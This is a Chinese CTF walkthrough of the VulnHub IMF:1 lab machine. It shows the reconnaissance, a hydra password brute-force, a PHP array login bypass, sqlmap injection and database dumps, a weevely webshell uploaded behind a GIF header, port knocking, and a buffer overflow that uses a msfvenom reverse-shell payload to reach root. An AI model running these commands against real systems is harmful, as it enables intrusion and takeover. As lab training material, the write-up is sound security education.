【靶机实战】VulnHub IMF:1 打靶记录

前言

IMF 是VulnHub发布的一个WEB靶场,难易程度:难

靶场下载地址:https://www.vulnhub.com/entry/imf-1,162/

打靶记录

信息收集

首先使用nmap探测存活ip

图片[1] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

确定靶机地址为192.168.100.151,扫描靶机开放端口

图片[2] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

发现了80端口,访问一下网站

图片[3] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

在contactus源码中发现了第一个flag

图片[4] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

flag的内容是经过base64加密的我们解密得到如下内容allthefiles

图片[5] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

暂时没有发现用处先记录一下

在此页面源代码中发现有些JS的名字不太对,像是base64加密过得,我们解密一下

图片[6] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

解密第一个发现了flag2开头的字段,那看来是三个文件名拼接起来解密应该能确定第二个flag

图片[7] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

将flag2的内容再次base64解密

图片[8] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

这个内容有点像个目录,我们访问一下

图片[9] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

查看源码有提示

图片[10] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

中文意思如下:我无法让SQL工作,所以我硬编码了密码。它仍然疯狂地安全通过

漏洞利用

尝试使用SQLMAP没有跑出来结果,如果输入错误的用户名,会提示不存在用户名,可以通过这个来猜解用户名。

图片[11] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

之前我们在contact.php界面中,看到三个人员的名字,把它们分别带进去试一下

图片[12] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

经过测试rmichaels用户名存在,尝试一下爆破密码能不能爆破出来

hydra -l rmichaels -P /usr/share/wordlists/rockyou.txt 192.168.100.151 http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:error"
图片[13] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

但是奇怪的是获得的所有密码都是登录失败的,我们使用bp拦截一个登录的数据包看看

图片[14] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

提示说明对于参数输入的内容进行了处理,那这里sql注入可以不用想了,这里我们可以利用PHP数组绕过一些函数,试一试后台是不是使用了不安全的函数进行密码验证,php中可以使用数组绕过的函数有如下函数(不包含全部)

sha1
MD5
ereg
strpos
strcmp
图片[15] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

获得flag3,尝试base64解码

图片[16] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

获得明文continueTOcms,在获取flag3的地方,还有个PHP链接

图片[17] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

我们将刚刚那个抓的包pass修改为数组之后然后放包

图片[18] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell
图片[19] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

接着继续访问IMF CMS

图片[20] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

找了一下并没有发现什么,修改了一下参数,发现mysql报错了,看来有sql注入

图片[21] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

使用sqlmap跑一下

sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" --batch
图片[22] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

发现有注入点

爆破库

sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" --dbs --batch 
图片[23] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

爆破表

sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" -D admin --tables --batch
图片[24] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

爆破数据

sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" -D admin -T pages --dump --batch
图片[25] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

发现目录下的一个文件访问

图片[26] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

图片中发现一个二维码扫一下发现flag4

图片[27] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

解码flag4 uploadr942.php

访问是一个文件上传界面

图片[28] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

经过测试可以上传jpg、png、gif等文件,使用php一句话木马上传文件,靶机使用waf对eval()等函数进行了过滤,需要做一个绕过waf等检查机制,使用weevely生成一个PHP马

图片[29] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

将木马的后缀改为.png或者.jpg进行拼接,上传,需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析,测试发现靶机不支持,我们可以使用gif89a文件头欺骗。

图片[30] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

上传成功

图片[31] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

查看网页源代码,获得gif文件上传到服务器的文件名233ead3c036f

图片[32] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

访问一下看看

图片[33] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

上传成功weevely连接

图片[34] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

获得www-data权限

下面就获得了flag5

图片[35] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

解码获得提示agentservices

图片[36] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

提权

提示为代理服务器,通过提示在靶机中搜寻agent运行的文件

图片[37] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

这俩个目录下有agnet文件

进入bin目录,发现两个文件

图片[38] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

agnet是ELF 32位执行文件

图片[39] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

access_log提示SYN 7482,8279,9467

图片[40] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

提示端口试探,使用knock命令试探一下

查一下端口发现服务器运行7788应该是agent的端口了

但之前nmap并没有扫到,端口试探应该是针对这个端口的

图片[41] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

下面使用nmap扫描就发现了7788端口

图片[42] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

nc连接一下看看,需要使用到agent ID

图片[43] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

将agent文件下载到本地

图片[44] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell
图片[45] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

在fgets初随便输入内容,strncmp函数进行将我们输入的内容和agent ID进行对比在此我们获得agent ID 48093572

执行agent,输入正确的agent

图片[46] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

获得三个选项

1、提取分
2、请求提取
3、提交报告
看来通过缓冲区溢出agent进程,获得root权限了
为agent进程创建一个shell
使用msfvenom创建一个shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.16.129 LPORT=6666 -b “\x00\x0a\x0” -f python -o 2.py
-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
-f 指定生成xxx格式
-o 输入路径和文件
图片[47] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

使用如下连接的脚本(https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py)

将生成的内容替换为python脚本内容

图片[48] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

nc监听6666端口

执行python脚本

图片[49] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

反弹shell,获得root权限

图片[50] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell

获得flag6

图片[51] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell
THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞100 分享
茶谈区 共3条

请登录后发表评论